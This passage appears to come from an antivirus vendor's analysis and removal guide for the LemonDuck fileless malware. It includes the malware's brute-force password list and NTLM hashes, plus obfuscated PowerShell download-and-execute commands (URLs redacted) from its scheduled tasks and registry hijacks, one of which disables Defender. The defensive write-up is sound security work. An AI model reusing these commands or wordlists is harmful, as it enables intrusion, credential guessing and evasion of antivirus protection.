      • 111111
      • 111111111
      • 112233
      • 11223344
      • 12
      • 121212
      • 123
      • 123!@#qwe
      • 123.com
      • 123@abc
      • 123123
      • 123123123
      • 123321
      • 1234
      • 12345
      • 123456
      • 1234567
      • 12345678
      • 123456789
      • 1234567890
      • 123456789a
      • 123456a
      • 123qwe
      • 123qwe!@#
      • 1q2w3e4r
      • 1q2w3e4r5t
      • 1qaz!QAZ
      • 1qaz@WSX
      • 1qaz2wsx
      • 21
      • 222222
      • 321
      • 5201314
      • 555555
      • 654321
      • 666666
      • 888888
      • 88888888
      • 987654321
      • 999999
      • a123456
      • A123456
      • a123456789
      • Aa123456
      • aa123456
      • Aa123456.
      • Aa12345678
      • aaaaaa
      • Ab123
      • abc
      • abc@123
      • Abc123
      • abc123
      • ABCabc123
      • abcd@1234
      • abcd1234
      • abcdefg
      • admin
      • admin@123
      • Admin@123
      • Admin123
      • admin888
      • Administrator
      • administrator
      • asdf
      • baseball
      • charlie
      • compta
      • demo
      • dragon
      • dubsmash
      • football
      • fuckyou
      • g_czechout
      • golden
      • hello
      • homelesspa
      • Huawei@123
      • iloveyou
      • login
      • love
      • master
      • monkey
      • NULL
      • OPERADOR
      • p@ssw0rd
      • P@ssw0rd
      • P@SSW0RD
      • P@ssw0rd123
      • p@ssword
      • P@ssword
      • P@SSWORD
      • P@w0rd
      • P@word
      • pass
      • Passw0rd
      • passw0rd
      • password
      • PASSWORD
      • Password01
      • password1
      • Password1
      • Password123
      • princess
      • qazwsx
      • qwe123
      • qwe1234
      • qwe1234A
      • qwe1234a
      • qwer12345
      • qwerty
      • qwertyuiop
      • sa
      • sa123
      • sa2008
      • saadmin
      • sapassword
      • sasa
      • scan
      • sql2005
      • sql2008
      • sqlpassword
      • stagiaire
      • sunshine
      • superman
      • test
      • test1
      • test123
      • user
      • welcome
      • xerox
      • zinch
      • zxcvbn
    • NTLM Hashes:
      • 00AFFD88FA323B00D4560BF9FEF0EC2F
      • 066DDFD4EF0E9CD7C256FE77191EF43C
      • 06E746E7EAAC1FAF1C3384E8729C17FB
      • 0CB6948805F797BF2A82807973B89537
      • 0D546438B1F4C396753B4FC8C8565D5B
      • 0D757AD173D2FC249CE19364FD64C8EC
      • 0E032B9D51A580AC6CDFABAD8BC97A38
      • 12318AA9E8464E83D0D99EF189F37AE9
      • 13B29964CC2480B4EF454C59562E675C
      • 152EFBCFAFEB22EABDA8FC5E68697A41
      • 161CFF084477FE596A5DB81874498A24
      • 162E829BE112225FEDF856E38E1C65FE
      • 1B46DAF193BB579BDB3B8C6F09637ECC
      • 1C4ECC8938FB93812779077127E97662
      • 1E3CF87851A2A9CC81128B80F47ACF77
      • 209C6174DA490CAEB422F3FA5A7AE634
      • 20B2A7351C899FD8E230CAAD9DD9B994
      • 20DEDCDDC0CF3176DB3BF18FEB979953
      • 259745CB123A52AA2E693AAACCA2DB52
      • 26B74CC48F843CBBD08625F3935DDA3F
      • 286C6790420F8B7D4B62FF65191AB9B1
      • 2BF7AD2CB2213512C8BCAAE1AADD0A22
      • 2D20D252A479F485CDF5E171D93985BF
      • 2D7F1A5A61D3A96FB5159B5EEF17ADC6
      • 2F2D544C53B3031F24D63402EA7FB4F9
      • 30FCAA8AD9A496B3E17F7FBFACC72993
      • 31C72C210ECC03D1EAE94FA496069448
      • 31E8740831B92FCB6E6A2236E115A2B9
      • 31FC0DC8F7DFAD0E8BD7CCC3842F2CE9
      • 320A78179516C385E35A93FFA0B1C4AC
      • 328727B81CA05805A68EF26ACB252039
      • 32ED87BDB5FDC5E9CBA88547376818D4
      • 352DFE551D62459B20349B78A21A2F37
      • 36AA83BDCAB3C9FDAF321CA42A31C3FC
      • 3DBDE697D71690A769204BEB12283678
      • 3E24DCEAD23468CE597D6883C576F657
      • 3F9F5F112DA330AC4C20BE279C6ADDFA
      • 3FA45A060BD2693AE4C05B601D05CA0C
      • 4057B60B514C5402DDE3D29A1845C366
      • 41630ABB825CA50DA31CE1FAC1E9F54D
      • 47BF8039A8506CD67C524A03FF84BA4E
      • 4ED91524CB54EAACC17A185646FB7491
      • 527C9C819B286EFB8EC4EBB5B5AE71CF
      • 5377E40CD4426B4CB1E3A42FB406A6AE
      • 570A9A65DB8FBA761C1008A51D4C95AB
      • 579110C49145015C47ECD267657D3174
      • 579DA618CFBFA85247ACF1F800A280A4
      • 57D583AA46D571502AAD4BB7AEA09C70
      • 5835048CE94AD0564E29A924A03510EF
      • 588FEB889288FB953B5F094D47D1565C
      • 58A478135A93AC3BF058A5EA0E8FDB71
      • 59CAD11838134536E2817E3AD0180BDB
      • 5AE7B89B3AFEA28D448ED31B5C704289
      • 5B9934D5EF7C2B2B429344C80C7D1D45
      • 6103D9D963C57275DD3533674708E7BE
      • 62B26C13B70E7D5A9724710A41E63688
      • 648AFF3A042261BAB4978076DE2C6B8C
      • 64F12CDDAA88057E06A81B54E73B949B
      • 674E48B68C5CD0EFD8F7E5FAA87B3D1E
      • 68365827D79C4F5CC9B52B688495FD51
      • 6920C58D0DF184D829189C44FAFB7ECE
      • 69943C5E63B4D2C104DBBCC15138B72B
      • 69CBE3ACBC48A3A289E8CDB000C2B7A8
      • 6A422496E178B57AF1E2CE9D64C438D2
      • 6AA8BC1D5018300D54E51C9860FA961C
      • 6D3986E540A63647454A50E26477EF94
      • 6F12C0AB327E099821BD938F39FAAB0D
      • 700EC8A682F6E41418007992FC604C77
      • 7100A909C7FF05B266AF3C42EC058C33
      • 71C5391067DE41FAD6F3063162E5EEFF
      • 72F5CFA80F07819CCBCFB72FEB9EB9B7
      • 73F5D97549F033374FA6D9F9CE247FFD
      • 7A21990FCD3D759941E45C490F143D5F
      • 7B592E4F8178B4C75788531B2E747687
      • 7CE21F17C0AEE7FB9CEBA532D0546AD6
      • 81E5F1ADC94DD08B1A072F9C1AE3DD3F
      • 85DEEEC2D12F917783B689AE94990716
      • 87E694F8DF877A2EE6A3E1AFBC72217A
      • 8846F7EAEE8FB117AD06BDD830B7586C
      • 89551ACFF8895768E489BB3054AF94FD
      • 8AF326AA4850225B75C592D4CE19CCF5
      • 8D44C8FF3A4D1979B24BFE29257173AD
      • 8FC3EDF738B7A710A912161B471D52FA
      • 96880159E785DE5314803B1169768900
      • 9796EF5829E5303E785DD4665FC5D99E
      • 9CB285C0622B8E5E8181A2B3D1654C17
      • A4141712F19E9DD5ADF16919BB38A95C
      • A80C9CC3F8439ADA25AF064A874EFE2D
      • A836EF24F0A529688BE2AF1479A95411
      • A87F3A337D73085C45F9416BE5787D86
      • A9B565893C02CCCD70AFC24F7D68FBA4
      • AA647B916A1FAD374DF9C30711D58A7A
      • AACD12D27C87CAC8FC0B8538AED6F058
      • AC1851D2C61045CE0A3E21E43E732D94
      • ACB98FD0478427CD18949050C5E87B47
      • AD70819C5BC807280974D80F45982011
      • AF27EFB60C7B238910EFE2A7E0676A39
      • AFFFEBA176210FAD4628F0524BFE1942
      • B30E265871924FDF523380F6AF2EA6F7
      • B35A9FEA21EFF79A1F14873D21D55DD1
      • B3EC3E03E2A202CBD54FD104B8504FEF
      • B963C57010F218EDC2CC3C229B5E4D0F
      • B9ACFD3C52ED0D6988BED8EB9AC636D6
      • B9F917853E3DBF6E6831ECCE60725930
      • BA07BA35933E5BF42DEA4AF8ADD09D1E
      • BA48D0D7833D929BA60030AE19A63875
      • BC007082D32777855E253FD4DEFE70EE
      • BCDF115FD9BA99336C31E176EE34B304
      • C1790553DBB8362FA7F16D564585B4D1
      • C22B315C040AE6E0EFEE3518D830362B
      • C5A237B7E9D8E708D8436B6148A25FA1
      • C6124A00FEEE3702F78FAA28D03B30EC
      • CCB9E05DE0B37A99A7876FE59BD4813F
      • D144986C6122B1B1654BA39932465528
      • D30C2EF8389AC9E8516BAACB29463B7B
      • DE26CCE0356891A4A020E7C4957AFC72
      • DF54DE3F3438343202C1DD523D0265BE
      • E01A82730005ECA51033F231F14EE106
      • E0FBA38268D0EC66EF1CB452D5885E53
      • E19CCF75EE54E06B06A5907AF13CEF42
      • E1A692BD23BDE99B327756E59308B4F8
      • E45A314C664D40A227F9540121D1A29D
      • E5810F3C99AE2ABB2232ED8458A61309
      • E5AE562DDFAA6B446C32764AB1EBF3ED
      • E6BD4CDB1E447131B60418F31D0B81D6
      • E7380AE8EF85AE55BDCEAA59E418BD06
      • E84D037613721532E6B6D84D215854B6
      • E8CD0E4A9E89EAB931DC5338FCBEC54A
      • F1351AC828428D74F6DA2968089FC91F
      • F2477A144DFF4F216AB81F2AC3E3207D
      • F40460FE1CEEC6F6785997F3319553BB
      • F4BB18C1165A89248F9E853B269A8995
      • F647EC7D17B9630BBF0AD87BEA38ECFC
      • F67F5E3F66EFD7298BE6ACD32EEEB27C
      • F7EB9C06FAFAA23C4BCF22BA6781C1E2
      • F9E37E83B83C47A93C2F09F66408631B
      • FB4BF3DDF37CF6494A9905541290CF51
      • FE59C71A6DB2AF3B108D27BEE8B0AA50
  • It sends copies of itself as zip attachment to email addresses gathered from the victim machine's Outlook contacts, inbox and sent items. It would delete the emails it sent from the sent items folder.
  • It tries to connect to the named pipe \.\pipe\HHyeuqi7\ and execute its email propagation module.
  • It terminates processes connecting to the following domains:
    • pg.{BLOCKED}q.com
    • p.{BLOCKED}q.com
    • pg.{BLOCKED}4.com
    • p.{BLOCKED}4.com
    • lplp.{BLOCKED}g.com
  • It terminates processes that established a TCP connection to the following ports:
    • 1111
    • 2222
    • 3333
    • 4444
    • 5555
    • 6666
    • 7777
    • 8888
    • 9999
    • 14433
    • 14444
    • 43669
    • 43668
    • 45560
    • 65333

It takes advantage of the following vulnerabilities:

  • CVE-2017-0199 - Allows remote code execution upon opening the DOC file detected as Trojan.W97M.LEMONDUCK.*

It adds the following scheduled tasks:

  • Task Name: blackball
    Task to be run: blackball
  • Task Name: {random}
    Task to be run: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('{Base64 encoded command}');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='{Download URL}';a($url+'/a.jsp?mail_20210428?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 15.932.08
FIRST VSAPI PATTERN DATE: 07 May 2020
VSAPI OPR PATTERN File: 15.933.00
VSAPI OPR PATTERN Date: 08 May 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator’s help. You may also check out this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
    • DisableCompression = 1
    • DisableCompression = {Default}
  • In HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
    • DelegateExecute = {Null}
    • DelegateExecute = {Default}
  • In HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
    • (default) = cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath c:\;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe|powershell -w hidden & Iex(new-object net.webclient).downloadstring('"+{Download URL}+"?$env:username*$env:computername*$ver')
    • (default)  = {Default}
  • In HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
    • DelegateExecute = {Null}
    • DelegateExecute = {Default}
  • In HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
    • (default) = cmd /c powershell -w hidden Iex(new-object net.webclient).downloadstring('"+{Download URL}+"?$env:username*$env:computername*$ver')
    • (default) = {Default}
    • {Registry Key in Outlook\Security in the list mentioned}
    • ObjectModelGuard = 2
    • ObjectModelGuard = {Default}

Step 5

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Rtsa -  \"{Download URL 1}\",\"{Download URL 2}\",\"{Download URL 2}\"|foreach{I`EX(Ne`w-Obj`ect Net.WebC`lient).\"DownloadString\"(\"http://$_/ebo.jsp?0.9*$env:username*$env:computername\")}"
  • blackball - blackball
  • {random} - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('{Base64 encoded command}');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='{Download URL}';a($url+'/a.jsp?mail_20210428?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 6

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • {Removable/Network Drive name}\Dblue3.lnk
  • {Removable/Network Drive name}\Eblue3.lnk
  • {Removable/Network Drive name}\Fblue3.lnk
  • {Removable/Network Drive name}\Gblue3.lnk
  • {Removable/Network Drive name}\Hblue3.lnk
  • {Removable/Network Drive name}\Iblue3.lnk
  • {Removable/Network Drive name}\Jblue3.lnk
  • {Removable/Network Drive name}\Kblue3.lnk
  • {Removable/Network Drive name}\Dblue6.lnk
  • {Removable/Network Drive name}\Eblue6.lnk
  • {Removable/Network Drive name}\Fblue6.lnk
  • {Removable/Network Drive name}\Gblue6.lnk
  • {Removable/Network Drive name}\Hblue6.lnk
  • {Removable/Network Drive name}\Iblue6.lnk
  • {Removable/Network Drive name}\Jblue6.lnk
  • {Removable/Network Drive name}\Kblue6.lnk
  • {Removable/Network Drive name}\readme.js
  • {Removable/Network Drive name}\UTFsync\inf_data
  • %System%\inetpub\wwwroot\aspnet_client\js\demo\wanlin.txt
  • %System%\inetpub\wwwroot\aspnet_client\js\demo\wanlins.aspx
  • %User Temp%\tt.vbs
  • %User Temp%\m6.bin
  • %User Temp%\m6g.bin
  • %User Temp%\kr.bin
  • %User Temp%\if.bin
  • %User Temp%\if_mail.bin
  • %User Temp%\ode.bin
  • %User Temp%\nvd.zip
  • %User Temp%\mimi.dat
  • %User Temp%\mso.jsp
  • %User Temp%\ms.jsp
  • %User Temp%\rdp.jsp
  • %User Temp%\rdpo.jsp
  • %User Temp%\smgh.jsp
  • %User Temp%\smgho.jsp
  • %User Temp%\logic.jsp
  • %User Temp%\logico.jsp
  • {Malware Path}\dn.ps1
  • {Malware Path}\m6.exe
  • {Malware Path}\svchost.dat

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Fileless.LEMONDUCK. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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